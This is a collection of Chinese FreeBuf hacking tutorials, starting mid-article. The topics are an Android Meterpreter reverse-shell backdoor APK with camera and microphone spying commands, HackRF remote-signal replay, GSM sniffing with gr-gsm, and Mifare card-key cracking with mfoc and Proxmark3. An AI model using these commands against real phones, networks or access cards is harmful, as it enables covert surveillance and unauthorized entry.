cd Desktop msfpayload android/meterpreter/reverse_tcp LHOST=192.168.31.213 LPORT=443 R >0xroot.apk 3.3 运行metasploit控制台 msfconsole use exploit/multi/handler set payload android/meterpreter/reverse_tcp set LHOST 192.168.31.213 set LPORT 443 run 3.4 安装&运行后门App 后门能进行什么操作?我们来看看usage: meterpreter > help Core Commands ============= Command Description ------- ----------- ? Help menu background Backgrounds the current session bgkill Kills a background meterpreter script bglist Lists running background scripts bgrun Executes a meterpreter script as a background thread channel Displays information about active channels close Closes a channel disable_unicode_encoding Disables encoding of unicode strings enable_unicode_encoding Enables encoding of unicode strings exit Terminate the meterpreter session help Help menu info Displays information about a Post module interact Interacts with a channel irb Drop into irb scripting mode load Load one or more meterpreter extensions quit Terminate the meterpreter session read Reads data from a channel resource Run the commands stored in a file run Executes a meterpreter script or Post module use Deprecated alias for 'load' write Writes data to a channel Stdapi: File system Commands ============================ Command Description ------- ----------- cat Read the contents of a file to the screen cd Change directory download Download a file or directory edit Edit a file getlwd Print local working directory getwd Print working directory lcd Change local working directory lpwd Print local working directory ls List files mkdir Make directory pwd Print working directory rm Delete the specified file rmdir Remove directory search Search for files upload Upload a file or directory Stdapi: Networking Commands =========================== Command Description ------- ----------- ifconfig Display interfaces ipconfig Display interfaces portfwd Forward a local port to a remote service route View and modify the routing table Stdapi: System Commands ======================= Command Description ------- ----------- execute Execute a command getuid Get the user that the server is running as ps List running processes shell Drop into a system command shell sysinfo Gets information about the remote system, such as OS Stdapi: Webcam Commands ======================= Command Description ------- ----------- record_mic Record audio from the default microphone for X seconds webcam_list List webcams webcam_snap Take a snapshot from the specified webcam record_mic 通过手机麦克风进行窃听、录音; webcam_list 列出安卓设备的所有摄像头; webcam_snap 通过摄像头进行偷拍… 等等 0×04 演示视频 0×05 APK后门分析: 把apk放到apk分析工具(apkStudio、Bytecodeviewer)进行解包,我们来看看后门App的源码: (apkStudio) 在smali/com/metasploit/stage/MainActivity.smali中我们可以找到后门服务器的ip端口配置: (apkStudio) (Bytecodeviewer) 0×06 预防&安全建议 安卓:从可信来源下载应用程序,避免感染恶意程序;在移动充电桩充电前及时关闭USB调试。 苹果:越狱后及时修改root密码,避免使用默认密码、弱口令。 0×07 文中工具下载地址: SQLite Database Browser:http://pan.baidu.com/s/1nuWlDgd SSHDroid:http://pan.baidu.com/s/1b6PBK6 0×08 参考&感谢 How To Decrypt WeChat EnMicroMsg.db Database? Android微信数据导出 微信聊天记录分析 A look at WeChat security https://gist.github.com/scturtle/724801 隐匿在iOS文件系统中的隐私信息 Hacking Android Smartphone Tutorial using Metasploit 原文地址:http://www.freebuf.com/articles/terminal/107801.html
0×00 前言 前段时间在《永不消逝的电波(二)HackRF入门:家用无线门铃信号重放》 一文中通过HackRF录制、重放了无线遥控信号,不过一直没来得及对信号进行分析,刚好在国外网站看到有大牛对遥控信号进行了分析(详见refer部分)。在这里便按照国外大牛分析无线遥控信号的方法来依葫芦画瓢。 *本文仅分享信号分析方式,因信号调制编码方式有所不同,如数据分析有出错,希望大家不要打我= ̄ω ̄= 0×01 环境搭建 Mac可使用port(www.macports.org) 或者brew(brew.sh)安装GnuRadio依赖套件: sudo port install gnuradio sudo port install hackrf sudo port install rtl-sdr sudo port install gr-osmosdr gqrx sudo port install hackrf 完成上面的工作后便能在Mac环境中使用电视棒、HackRF、GnuRadio了。 0×02 Recording 信号录制 录制遥控信号的方式有很多,如电视棒+SDR-sharp录制wav音频格式数据、通过HackRF命令终端录制RAW格式数据,本文使用GNURadio+SDR硬件(rtl-sdr、HackRF、BladeRF等)来实现这一功能: 左侧RTL-SDR Source将使用SDR硬件接收315MHz无线信号,采样率为2M,右上WX GUI Waterfall sink将接收到的信号通过瀑布图在PC上显示捕获的无线信号,右下角File Sink将捕获到的无线数据包储存到/tmp/test.cfile文件中。执行流图并摁下遥控可看到如下效果图: 个人比较喜欢使用gr-fosphor的瀑布图模块来对捕获到的信号在瀑布图上进行展示: 结束GnuRadio流图后,查看/tmp目录下的test.cfile: 0×03 Analysis 信号分析 分析信号可使用音频处理软件Audacity: 不过这种方式需要肉眼将波形转化成0跟1,看起来比较容易眼花。maybe,只有老司机才能很快很准确地用这种方式完成分析任务。 3.1 安装inspectrum 在这篇文章中我们将通过inspectrum(https://github.com/miek/inspectrum)这个工具来分析信号,配合Python将信号转成二进制数据。 sudo port install fftw-3-single cmake pkgconfig qt5 git clone https://github.com/miek/inspectrum.git mkdir build cd build cmake .. make sudo make install inspectrum -h Usage: inspectrum [options] file spectrum viewer Options: -h, --help Displays this help. -r, --rate <Hz> Set sample rate. Arguments: file File to view. 3.2 数据导入、分析 inspectrum /tmp/test.cfile 通过左侧Spectrogram参数的调节、缩放工具,我们可以实现波形图的放大缩小,颜色深浅调节: 下方Time selection可对波形进行划分: 对Symbols进行递增,直至囊括一个信号波形区域: 右键—>Add derved plot—>Add amplitude plot: 效果如下: 对部分参数进行微调: 导出波形数据: 此时在终端获得波形宽度数据: 3.3 解码 接下来我们可通过Python将这些数据转成0、1,,test.py代码如下:(if i > x x的值根据自身实际情况决定,建议取最大值跟最小值区间的自然数) s = '' a = [0.121182, 0.00224696, 0.00227361, 0.00222253, 0.121036, 0.121293, 0.12126, 0.00220722, 0.121013, 0.00221486, 0.00230146, 0.00230048, 0.120959, 0.120975, 0.12077, 0.00227199, 0.120701, 0.00226761, 0.00234306, 0.00225335, 0.120851, 0.120784, 0.12084, 0.00224014, 0.120892, 0.00221627, 0.00222881, 0.00219768, 0.121157, 0.00224349, 0.00221741, 0.00223827, 0.120798, 0.00237988, 0.00226093, 0.00232855, 0.120649, 0.120813, 0.121032, 0.00222553, 0.120876, 0.00221533, 0.00225347, 0.00228226, 0.120759, 0.120718, 0.12042, 0.00218557, 0.120344, 0.00222487, 0.00224753, 0.00227552, 0.120383, 0.120384, 0.120275, 0.00224362, 0.120611, 0.00219556, 0.00227022, 0.00224123, 0.120514, 0.120328, 0.12068, 0.0022916, 0.120735, 0.12043, 0.120697, 0.00224807, 0.120399, 0.120808, 0.120405, 0.00222214, 0.120512, 0.120833, 0.120495, 0.00226469, 0.120727, 0.120617, 0.120534, 0.00222499, 0.120441, 0.120626, 0.120297, 0.00208249, 0.120539, 0.120365, 0.120612, 0.00214876, 0.120545, 0.120262, 0.120739, 0.00228899, 0.12051, 0.120525, 0.120172, 0.00214644, 0.120678] for i in a: if i > 0.03: s +='1' else: s +='0' 0×04 replay 信号重放 通过上述方式,我们已对SDR捕获到的无线信号进行分析,并把信号文件转换成了二进制数据,接下来可使用GnuRadio对数据进行重放、修改测试,或者使用RFcat+Python实现廉价的重放Hacking。 0×05 refer https://medium.com/@eoindcoolest/decoding-a-garage-door-opener-with-an-rtl-sdr-5a47292e2bda#.qu46ncrr3 Mike Walters: Reversing digital signals with inspectrum – YouTube My quickest and easiest method for OOK signal decoding & replication in 2016 – YouTube 原文地址:http://www.freebuf.com/articles/wireless/111801.html
0×00 写在开头 近期,发现Crazy Danish Hacker在YouTuBe发布了一个挺不错的教程视频:使用SDR嗅探监听GSM网络的通信流量(GSM Sniffing Teaser – Software Defined Radio Series)。该教程从电视棒的安装到扫描、嗅探工具的使用、GSM流量包的捕获解密都有详细说明演示: 作为搬运工,在这里将分两三部分参考&总结一下该教程的主要内容,输出一篇中文教程,希望能够给对这方面感兴趣的童鞋带来一定帮助。 0×01 环境搭建 OS:GNU Radio LiveCD HardWare:电视棒(rtl-sdr)、HackRF、Bladerf 均可 1.安装编译依赖包 sudo apt-get install git cmake libboost-all-dev libcppunit-dev swig doxygen liblog4cpp5-dev python-scipy Kali 2.0 apt-get install gnuradio gnuradio-dev rtl-sdr librtlsdr-dev osmo-sdr libosmosdr-dev libosmocore libosmocore-dev cmake libboost-all-dev libcppunit-dev swig doxygen liblog4cpp5-dev python-scipy 2.编译gr-gsm git clone https://github.com/ptrkrysik/gr-gsm.git cd gr-gsm mkdir build cd build cmake .. make sudo make install sudo ldconfig 3.编译kalibrate kalibrate-hackrf (kalibrate For HackRF) git clone https://github.com/scateu/kalibrate-hackrf.git cd kalibrate-hackrf ./bootstrap ./configure make sudo make install kalibrate-rtl(kalibrate For rtl-sdr) git clone https://github.com/steve-m/kalibrate-rtl.git cd kalibrate-rtl ./bootstrap ./configure make sudo make install 0×01 扫描基站 1.1 kal kal error: must enter channel or frequency kalibrate v0.4.1-hackrf, Copyright (c) 2010, Joshua Lackey modified for use with hackrf devices, Copyright (c) 2014, scateu@gmail.com Usage: GSM Base Station Scan: kal <-s band indicator> [options] Clock Offset Calculation: kal <-f frequency | -c channel> [options] Where options are: -s band to scan (GSM850, GSM-R, GSM900, EGSM, DCS, PCS) //指定扫描的网络类型&频段 -f frequency of nearby GSM base station -c channel of nearby GSM base station -b band indicator (GSM850, GSM-R, GSM900, EGSM, DCS, PCS) -a rf amplifier enable -g vga (bb) gain in dB, 0-40dB, 8dB step -l lna (if) gain in dB, 0-62dB, 2dB step -d rtl-sdr device index -e initial frequency error in ppm -E manual frequency offset in hz -v verbose -D enable debug messages -h help kal -s GSM900 -g 40 -l 40 //扫描GSM900频段 1.2 gr-gsm (HackRF、BladeRF) 在编译完成的gr-gsm项目中,App目录里有用于扫描、解码gsm流量的脚本: grgsm_scanner -h linux; GNU C++ version 4.8.4; Boost_105400; UHD_003.010.git-197-g053111dc Usage: grgsm_scanner: [options] Options: -h, --help show this help message and exit -b BAND, --band=BAND Specify the GSM band for the frequency. Available bands are: P-GSM, DCS1800, PCS1900, E-GSM, R-GSM, GSM450, GSM480, GSM850 -s SAMP_RATE, --samp-rate=SAMP_RATE Set sample rate [default=2000000.0] - allowed values even_number*0.2e6 -p PPM, --ppm=PPM Set frequency correction in ppm [default=0] -g GAIN, --gain=GAIN Set gain [default=24.0] --args=ARGS Set device arguments [default=] --speed=SPEED Scan speed [default=4]. Value range 0-5. -v, --verbose If set, verbose information output is printed: ccch configuration, cell ARFCN's, neighbour ARFCN's 1.3 Bladerf 配合 SDR-sharp 通过上述方式,我们获取到了基站的一些参数信息,如:中心频率、信道、ARFCN值、LAC、MCC、MNC值等。这为我们接下来的工作提供了便利。那么windows用户有其它方式来确定基站的中心频率么? Windows用户可通过SDR-sharp的瀑布图来确认基站的工作频率,由于HackRF性能问题,查看GSM频率时瀑布图效果不明显,所以我这里用BladeRF来实现这需求。由于SDR-sharp默认不支持BladeRF硬件,首先我们需为其安装硬件驱动,详情可参考:https://github.com/jmichelp/sdrsharp-bladerf 复制Release目录中的SDRSharp.BladeRF.dll到SDR主目录; 复制GitHub项目中的LibBladeRF目录下所有dll文件到SDR主目录; 在FrontEnds.xml文件增加 <add key="BladeRF" value="SDRSharp.BladeRF.BladeRFIO,SDRSharp.BladeRF" /> 在SDR-sharp中加载BladeRF的FPGA固件: 最终效果: 0×02 Sniffer 嗅探 通过扫描我们获取到了基站的中心频率、信道、ARFCN值、LAC、MCC、MNC值等参数信息: 上图表明在935-950MHz频率区间发现GSM基站信号。通过gqrx瀑布图来看看: ubuntu@ubuntu:~/gr-gsm/apps$ ls CMakeLists.txt grgsm_livemon grgsm_livemon.py helpers grgsm_decode grgsm_livemon.grc grgsm_scanner README ubuntu@ubuntu:~/gr-gsm/apps$ grgsm_livemon -h linux; GNU C++ version 4.8.4; Boost_105400; UHD_003.010.git-197-g053111dc Usage: grgsm_livemon: [options] Options: -h, --help show this help message and exit --args=ARGS Set Device Arguments [default=] -f FC, --fc=FC Set fc [default=939.4M] -g GAIN, --gain=GAIN Set gain [default=30] -p PPM, --ppm=PPM Set ppm [default=0] -s SAMP_RATE, --samp-rate=SAMP_RATE Set samp_rate [default=2M] -o SHIFTOFF, --shiftoff=SHIFTOFF Set shiftoff [default=400k] --osr=OSR Set OSR [default=4] 我们来嗅探一下937.4MHz的基站: grgsm_livemon -f 937.4 右侧终端显示成功捕获到了基站通信数据包。 0×03 Decode解密 3.1 安装WireShark apt-get install wireshark 3.2 嗅探&解密 ubuntu@ubuntu:~/gr-gsm/apps$ ls CMakeLists.txt grgsm_livemon grgsm_livemon.py helpers grgsm_decode grgsm_livemon.grc grgsm_scanner README ubuntu@ubuntu:~/gr-gsm/apps$ gnuradio-companion grgsm_livemon.grc 执行GRC流图: sudo wireshark -k -Y 'gsmtap && !icmp' -i lo 捕获到的数据包如下: 解密方式可先参考GitHub: Usage: Decoding How To · ptrkrysik/gr-gsm Wiki Decoding-hopping-channels 在后续内容中,我们将使用SDR来捕获手机在通话过程中的GSM数据包以及利用三星手机锁屏绕过漏洞直接获取TMSI、KC来解密捕获到的数据包,从中提取出通话过程中的语音内容。 maybe,我们还可以根据gr-lte开源项目来讨论分析4G LTE基站的安全问题。(the gr-lte project is an Open Source Software Package which aims to provide a GNU Radio LTE Receiver to receive, synchronize and decode LTE signals.) 0×04 refer https://github.com/ptrkrysik/gr-gsm/wiki/Usage https://z4ziggy.wordpress.com/2015/05/17/sniffing-gsm-traffic-with-hackrf/ GSM Sniffing: Kalibrate-RTL Usage – Software Defined Radio Series #5 GSM Sniffing: Installing GR-GSM – Software Defined Radio Series #7 GSM Sniffing: Using GR-GSM – Software Defined Radio Series #8 原文地址:http://www.freebuf.com/articles/wireless/110773.html
补充新闻:程序员黑餐馆系统 给自己饭卡里充钱 ,技术是双刃剑,小心,小心! 前言 从M1卡的验证漏洞被发现到现今,破解设备层出不穷,所以快速傻瓜式一键破解不是本文的重点,年轻司机将从本文中获得如下技能。 如果你想简单快速的上手,你可以选择ACR122-like,Proxmark3等容易购买到的操作简单的设备,或者有个带有NFC功能并安装有安卓Mifare Classic Tool (MCT)软件的手机也是个不错的选择。 本文基于树莓派加RC522,PN532模块试验,如果你是刚入门的Geek爱好者不妨读读本文,我将简明地叙述SPI接口协议和部分RC522驱动代码。 本文破解皆指针对Mifare Classic卡获得KeyA,KeyB,实现扇区数据读取。 本文旨在抛砖引玉,才疏学浅,如有错误还请不吝赐教。 M1卡结构 Mifare是NXP公司生产的一系列遵守ISO14443A标准的射频卡,包括Mifare S50、Mifare S70、Mifare UltraLight、Mifare Pro、Mifare Desfire等。Mifare S50的容量为1K字节,常被称为Mifare Standard,又被叫做Mifare 1,是遵守ISO14443A标准的卡片中应用最为广泛、影响力最大的的一员。S50的卡类型(ATQA)是0004H。 在带有NFC功能的手机上使用MCT读取空白卡Mifare Classic 1k(S50),我们可以直观地看到卡片的存储结构。 M1卡有从0到15共16个扇区(Sectors),并且每个扇区都有独立的密码,每个扇区配备了从0到3共4个块(Block),16个扇区的64个块按绝对地址编号为0~63,每个块可以保存16字节byte的内容,共有16X4X16=1024byte。 每个扇区的第4段用来保存KeyA,KeyB和控制位(ACs控制读写权限)。 0扇区0块是特殊的数据块,用于存放制造商代码,包括芯片序列号,此块只读。 SPI接口 SPI串行外设接口(Serial Peripheral Interface)是一种高速的,全双工,同步的通信总线,SPI通信以主(master)从(slave)方式,这种模式通常有一个主设备和一个或多个从设备,需要至少4根线,事实上3根也可以(单向传输时)。也是所有基于SPI的设备共有的,它们是SDI(数据输入MISO)、SDO(数据输出MOSI)、SCLK(时钟SCK)、CS(SS片选)。 CS是控制芯片是否被选中的,也就是说只有片选信号为预先规定的使能信号时(高电位或低电位),对此芯片的操作才有效。 通讯是通过两个双向移位寄存器进行数据交换。SPI是串行通讯协议,数据是一位一位传输的(总是先发送或接收高字节MSB数据)。SCLK提供时钟脉冲,在通过 SDO线输出时,数据在时钟上升沿或下降沿时改变,在紧接着的下降沿或上升沿被读取,完成一位bit数据传输。因此,至少需要8次时钟信号的改变才能完成8位数据1byte的传输。 SPI协议是一种如何传输数据的方式,在集成了SPI硬件控制器的树莓派中我们不需要会复杂的软件模拟SPI,我们只要会使用相关库bcm2835发送和接收数据就行了。就像是流水线上的履带运输机,我们要做的只是把货物放在上面(而不是还要想办法怎么搭建运输机),当然我们还得知道怎么放,下面我们学习RC522模块的控制。 MFRC522 几个重要特性 支持ISO 14443A/MIFARE 64字节的发送和接收FIFO缓冲区 3V电源电压 支持SPI,I2C,UART接口 如何与M1卡通信? Request standard/all。在上电复位Power-On Reset(POR)后,M1卡发送ATQA码(卡片类型码,如00 04h 代表MF1S503yX)回应REQA请求或者唤醒WUPA命令。 防冲突机制。如果读卡器感应区存在多张卡,他们需要以自己的标识符(发送4字节的SN和1字节校验)来区分并且只有被选中的一张卡才能进行下一步操作。 选卡。读卡器使用选卡命令选择一张卡作为验证和存储相关操作,卡片返回选择应答SAK码(卡片容量)。 3次互相验证。在选卡之后,读卡器指定存储地址,使用相应的密码完成3次互相验证步骤。验证通过之后所有的存储操作都是加密的。 存储器操作。 读(Read):读数据块写(Write):写数据块减值(Decrement):减少数据块内的数值,并将结果保存在临时内部数据寄存器中加值(Increment):增加数据块内的数值,并将结果保存在数据寄存器中转存(Restore):将临时内部数据寄存器的内容写入数值块暂停(Halt ):将卡置于暂停上作状态 几个重要的寄存器 FIF0DataReg,FIFO缓冲区的输入和输出数据总线连接到FIFODataReg寄存器,通过写FIFODataReg寄存器来讲一个字节的数据存入FIFO缓冲区,之后内部FIFO缓冲区写指针加1。 主要的状态指示寄存器包括ComIrqReg、Er-rorReg、Status2Reg和FIFOLevelReg等。 (更多详细内容请查看芯片手册,这也是必须的) (通信流程)读写操作写卡分两步骤Step A:查询块状态。命令码(0xA0) 块地址若块准备好,则MIFARE卡返回4比特应答。若值为1010,则可进行下一步操作;若值非1010,则表示块未准备好,必须等待直至块准备好为止。Step B:写数据。数据字节(16字节) CRC(2字节)若写入成功,则MIFARE卡返回4比特应答,值仍为1010;若非lOl0,则表示写入失败。读卡指令格式命令码(0x30) 块地址若执行成功,则MIFARE卡返回18字节应答比特。需要注意的是,其中只有16字节是读取的块数据,另外2个字节为填充字节。若字节数不为18,则可判断读卡操作错误。 * 函 数 名:write * 功能描述:写块数据 * 输入参数:blockAddr--块地址;writeData--向块写16字节数据 unsigned char write(unsigned char blockAddr, unsigned char *writeData) { unsigned char status; unsigned int recvBits; unsigned char i; unsigned char buff[18]; buff[0] = PICC_WRITE; buff[1] = blockAddr;//块地址0-63 calculateCRC(buff, 2, &buff[2]); //发送指令 status = MFRC522ToCard(PCD_TRANSCEIVE, buff, 4, buff, &recvBits); //这里判断返回状态 if ((status != MI_OK) || (recvBits != 4) || ((buff[0] & 0x0F) != 0x0A)) status = MI_ERR; //准备16byte数据 if (status == MI_OK){ for (i=0; i<16; i++) //?FIFO?16Byte?? Datos a la FIFO 16Byte escribir buff[i] = *(writeData+i); //计算校验位 calculateCRC(buff, 16, &buff[16]); //发送数据 status = MFRC522ToCard(PCD_TRANSCEIVE, buff, 18, buff, &recvBits); if ((status != MI_OK) || (recvBits != 4) || ((buff[0] & 0x0F) != 0x0A)) status = MI_ERR; } return status; } 感觉怎么说都有种说不清的感觉,多花点时间对着库文件和MFRC522 Datasheet强撸吧骚年! 如果上面说的太复杂,下面就请拿上你的树莓派和RC522模块开始我们愉快简单的动手吧。 步骤 安装bcm2835库,开启树莓派SPI接口并测试是否可用 树莓派与RC522连线 根据库文件和通信流程编写程序 测试 安装bcm2835库 bcm2835树莓派上博通bcm2835芯片 C语言库This is a C library for Raspberry Pi (RPi). It provides access to GPIO and other IO functions on the Broadcom BCM 2835 chip, allowing access to the GPIO pins on the 26 pin IDE plug on the RPi board so you can control and interface with various external devices. 安装 # 下载最新版库文件, 类似bcm2835-1.xx.tar.gz, 然后: tar zxvf bcm2835-1.xx.tar.gz cd bcm2835-1.xx ./configure make sudo make check sudo make install Raspberry Pi 2 (RPI2) 在树莓派上启用SPI接口(新版系统不用修改黑名单之类的配置文件) sudo raspi-config under Advanced Options – A5 SPI Reboot. 显示已载入系统的模块 root@pi2:~# lsmod Module Size Used by joydev 9194 0 evdev 11650 2 cfg80211 499234 0 rfkill 21397 2 cfg80211 8192cu 555405 0 snd_bcm2835 23163 0 snd_pcm 95441 1 snd_bcm2835 snd_timer 22396 1 snd_pcm snd 68368 3 snd_bcm2835,snd_timer,snd_pcm spi_bcm2835 8032 0 //表示开启 i2c_bcm2708 5740 0 bcm2835_gpiomem 3823 0 bcm2835_wdt 4133 0 uio_pdrv_genirq 3718 0 uio 10230 1 uio_pdrv_genirq i2c_dev 6578 0 ipv6 367607 24 查看SPI设备(这里出现spidev0.0设备表示SPI已开启) root@pi2:~# ls /dev/sp* /dev/spidev0.0 /dev/spidev0.1 The Raspberry Pi GPIO pins used for SPI are: P1-19 (MOSI) P1-21 (MISO) P1-23 (CLK) P1-24 (CE0) P1-26 (CE1) 测试SPI接口http://www.airspayce.com/mikem/bcm2835/spi_8c-example.html将MISO和MOSI连接,运行程序你将接收到发送的数据。 spi.c Shows how to use SPI interface to transfer a byte to and from an SPI device // spi.c // // Example program for bcm2835 library // Shows how to interface with SPI to transfer a byte to and from an SPI device // // After installing bcm2835, you can build this // with something like: // gcc -o spi spi.c -l bcm2835 // sudo ./spi // // Or you can test it before installing with: // gcc -o spi -I ../../src ../../src/bcm2835.c spi.c // sudo ./spi // // Author: Mike McCauley // Copyright (C) 2012 Mike McCauley // $Id: RF22.h,v 1.21 2012/05/30 01:51:25 mikem Exp $ #include <bcm2835.h> #include <stdio.h> int main(int argc, char **argv) { // If you call this, it will not actually access the GPIO // Use for testing // bcm2835_set_debug(1); if (!bcm2835_init()) { printf("bcm2835_init failed. Are you running as root??\n"); return 1; } if (!bcm2835_spi_begin()) { printf("bcm2835_spi_begin failedg. Are you running as root??\n"); return 1; } bcm2835_spi_setBitOrder(BCM2835_SPI_BIT_ORDER_MSBFIRST); // The default bcm2835_spi_setDataMode(BCM2835_SPI_MODE0); // The default bcm2835_spi_setClockDivider(BCM2835_SPI_CLOCK_DIVIDER_65536); // The default bcm2835_spi_chipSelect(BCM2835_SPI_CS0); // The default bcm2835_spi_setChipSelectPolarity(BCM2835_SPI_CS0, LOW); // the default // Send a byte to the slave and simultaneously read a byte back from the slave // If you tie MISO to MOSI, you should read back what was sent uint8_t send_data = 0x23; uint8_t read_data = bcm2835_spi_transfer(send_data); printf("Sent to SPI: 0x%02X. Read back from SPI: 0x%02X.\n", send_data, read_data); if (send_data != read_data) printf("Do you have the loopback from MOSI to MISO connected?\n"); bcm2835_spi_end(); bcm2835_close(); return 0; } 代码测试树莓派连线RC522 Pins Name Pin # Pin name SDA 24 GPIO8 SCK 23 GPIO11 MOSI 19 GPIO10 MISO 21 GPIO9 IRQ None None GND Any Any Ground RST 22 GPIO25 3.3V 1 3V3 附PI2 GPIO图 使用树莓派RC522 C语言库,库和示例程序下载地址 读写卡片流程 findCard 寻卡 -> anticoll 放冲突检测 -> selectTag 选卡 -> auth 验证密码 -> read/write 读写 #include "mfrc522.c" #include <stdio.h> #include <string.h> int main(){ int i,count; unsigned char s; unsigned char id[10]; unsigned char key[] = {0xFF,0xFF,0xFF,0xFF,0xFF,0xFF}; unsigned char uid[5]; //4字节卡序列号,第5字节为校验字节 unsigned char str[MAX_LEN]; unsigned char wData[16] = {'h','a','c','k','e','d',' ','b','y',' ','r','u','o'}; int isTrue = 1; if (!bcm2835_init()) return -1; init(); while(isTrue){ if (findCard(0x52,&s) == MI_OK){ if ( anticoll(id) == MI_OK){ memcpy(uid,id,5); printf("CARD UID:"); for(i = 0;i < 5;i++) printf("%x",uid[i]); printf("\n"); }else { printf("FindCard ERR.\n"); } //select Card selectTag(uid); //auth if(auth(0x60,4,key,uid) == MI_OK){ //write data if(write(4,wData) == MI_OK){ printf("Write data success!\n"); //isTrue = false; } //read data if(read(4,str) == MI_OK){ printf("Hex:"); for(i = 0;i < 16;i++) printf("%x",str[i]); printf("\n"); printf("Data:%s\n",str); } }else{ printf("Auth faild.\n"); } } halt(); } bcm2835_spi_end(); bcm2835_close(); return 0; 其他库MFRC522-python一个在树莓派上使用MFRC522接口的的类。https://github.com/mxgxw/MFRC522-python上面讲了很多没用的细节,如果你想急于求破,你应该先看这章。使用PN532 NFC模块 Near field communication (NFC) is a set of standards for smart phones and similar devices to establish radio communication with each other by touching them together or bringing them into close proximity, usually no more than a few centimeters. Feature Small dimension and easy to embed into your project Support I2C, SPI and HSU (High Speed UART), easy to change between those modes Support RFID reading and writing, P2P communication with peers, NFC with Android phone RFID reader/writer supports: Mifare 1k, 4k, Ultralight, and DesFire cards ISO/IEC 14443-4 cards such as CD97BX, CD light, Desfire, P5CN072 (SMX) Innovision Jewel cards such as IRT5001 card FeliCa cards such as RCS_860 and RCS_854 Up to 5cm~7cm reading distance On-board level shifter, Standard 5V TTL for I2C and UART, 3.3V TTL SPI Arduino compatible, plug in and play with our shield 这里我们使用I2C接口将树莓派与PN532连接,安装mfoc,mfcuk(Mifare Classic DarkSide Key Recovery Tool)破解软件。 mfoc程序基于nested authentication验证漏洞破解含有默认密码的M1卡的其他KEY。 mfcuk程序基于dackside原理破解全加密卡。 两款软件都基于libnfc库开发,所以我们还需要安装libnfc库。 Libnfc库下载地址 http://nfc-tools.org/index.php?title=Libnfc Libnfc:configuration(接口配置) http://nfc-tools.org/index.php?title=Libnfc:configuration 安装文档(使用libnfc-1.7.1.tar.bz2包能成功读取到设备,github上clone的安装找不到设备) http://www.jamesrobertson.eu/blog/2016/feb/08/using-a-pn532-nfc-rfid-reader-with-the-raspberry-pi.html 安装mfoc,mfcuk https://github.com/nfc-tools/ git clone https://github.com/nfc-tools/mfoc.git cd mfoc/ autoreconf -vis ./configure make make install #mfoc -O test.mfd //使用默认key尝试破解 #mfoc -f key.txt -O test.mfd //使用key字典 参考资料 http://blog.sina.com.cn/s/blog_9ed067ad0100z47e.html http://blog.sina.com.cn/s/blog_683b6e4f0102vtfm.html http://www.cnblogs.com/lubiao/p/4716965.html?ptvd http://www.fuzzysecurity.com/tutorials/rfid/2.html http://www.cs.ru.nl/~flaviog/publications/Attack.MIFARE.pdf http://www.cs.ru.nl/~flaviog/publications/Dismantling.Mifare.pdf http://www.cs.ru.nl/~flaviog/publications/Pickpocketing.Mifare.pdf
几美元的一根天线、一个无线发射器,还有几行Python代码,有了这些,黑客就可以在几十米开外主动地记录下你的用户名、密码、信用卡、你写的稿子,总之就是你用无线键盘输入的任何东西。 黑客所利用的是一种无线键盘漏洞,这种漏洞无法轻易防范,而且很难想到。来自Bastille安全公司的研究人员率先发现了这一漏洞,并把它命名为KeySniffer。 影响设备 研究人员对12款来自知名厂商的键盘进行了测试,发现其中8款能被窃听,但是实际上这个列表还远不及真正存在漏洞的数量。这个漏洞波及的范围实在太大,研究人员相信有大量的设备存在漏洞。 与此同时,厂商的态度也令人失望。Bastille首席研究官Ivan O’Sullivan称,“大部分的厂商还没有回应我们披露的信息。 演示视频 升级版的MouseJack 细心的读者可能注意到了,这个Bastille公司就是今年年初发现MouseJack漏洞的公司。MouseJack是一种针对蓝牙键盘鼠标的攻击,攻击者可以利用漏洞控制受害者的电脑操作。由于这些无线鼠标没有完善的身份认证机制,黑客可以借此伪装成用户的鼠标与适配器进行匹配;又因为没有无线鼠标传输的数据没有加密,黑客便可以轻松伪造数据操作电脑。 KeySniffer漏洞就是升级版的MouseJack,不同的是,KeySniffer不需要匹配设备,而且能够让黑客获取到无线键盘和USB适配器传输的数据。 问题原因:无线键盘明文传输数据 与MouseJack漏洞相似,KeySniffer的问题也出在缺少加密。 存在漏洞的键盘与插入电脑的USB无线接收器之间的数据都是明文传输的。这样攻击者就能够检测到受害用户输入的文字了。也正由于没有加密,攻击者还能够在数据流中注入他们自己的键盘敲击。 黑客如果想要注入恶意的键盘输入,可以通过脚本自动化执行。唯一的条件就是等用户离开电脑几分钟。 很多操作系统在鼠标操作失灵时会提供基于键盘的控制,因此,控制了用户的键盘就相当于控制了整台电脑。 如何防范 KeySniffer漏洞无法通过补丁修复。 本质上,KeySniffer攻击使用了逆向工程收发器的技术,这些技术在阿姆斯特丹的Hack in the Box安全会议上有过演示。Bastille称,所有出现问题的无线键盘都是在2.4GHz ISM频段使用频率偏移调制工作的。 “这些无线键盘由于没有加密,天生就是不安全的,而且不支持固件更新。”Bastille解释道。 因此,建议广大用户们还是换个好一点的蓝牙键盘,或者索性换成有线键盘吧。 *参考来源:Zdnet & Softpedia
文中提及的部分技术可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使用! 0×00 前言 国际黑客大会Defcon传统之一:开锁!因为黑客认为锁也是一种安全挑战。我们在黑客题材电影、电视剧中也常常看到:男主女主利用高超的黑客技能侵入目标公司的网络,甚至利用社会工程学突破门禁防护潜入对方办公地点进行物理攻击,如入无人之境。(神盾局、黑客军团、Who am i 貌似都有类似情节) 北上广不相信眼泪 16集 在这一背景下,我们不经思考:门禁系统作为企业物理第一道屏障,这些硬件基础设施安全是否一直都被忽视? 0×01 准备工作 Linux、Windows环境搭建可参考:RFID Hacking②:PM3入门指南 一文。 1.1 进入PM3工作终端 ./proxmark3 /dev/ttyACM0 1.2 测试天线 proxmark3> hw tune # LF antenna: 29.98 V @ 125.00 kHz # LF antenna: 30.39 V @ 134.00 kHz # LF optimal: 36.30 V @ 129.03 kHz # HF antenna: 27.90 V @ 13.56 MHz proxmark3> 1.3 设备固件 proxmark3> hw ver #db# Prox/RFID mark3 RFID instrument #db# bootrom: /-suspect 2015-04-02 15:12:04 #db# os: /-suspect 2015-04-02 15:12:11 #db# HF FPGA image built on 2015/03/09 at 08:41:42 0×02 爆破&枚举秘钥 2.1 读取卡片 proxmark3> hf 14a reader ATQA : 04 00 UID : 2c f0 55 0b SAK : 08 [2] TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1 proprietary non iso14443a-4 card found, RATS not supported 2.2 执行NESTED攻击,枚举&爆破key: proxmark3> hf mf chk *1 ? t No key specified,try default keys chk default key[0] ffffffffffff chk default key[1] 000000000000 chk default key[2] a0a1a2a3a4a5 chk default key[3] b0b1b2b3b4b5 chk default key[4] aabbccddeeff chk default key[5] 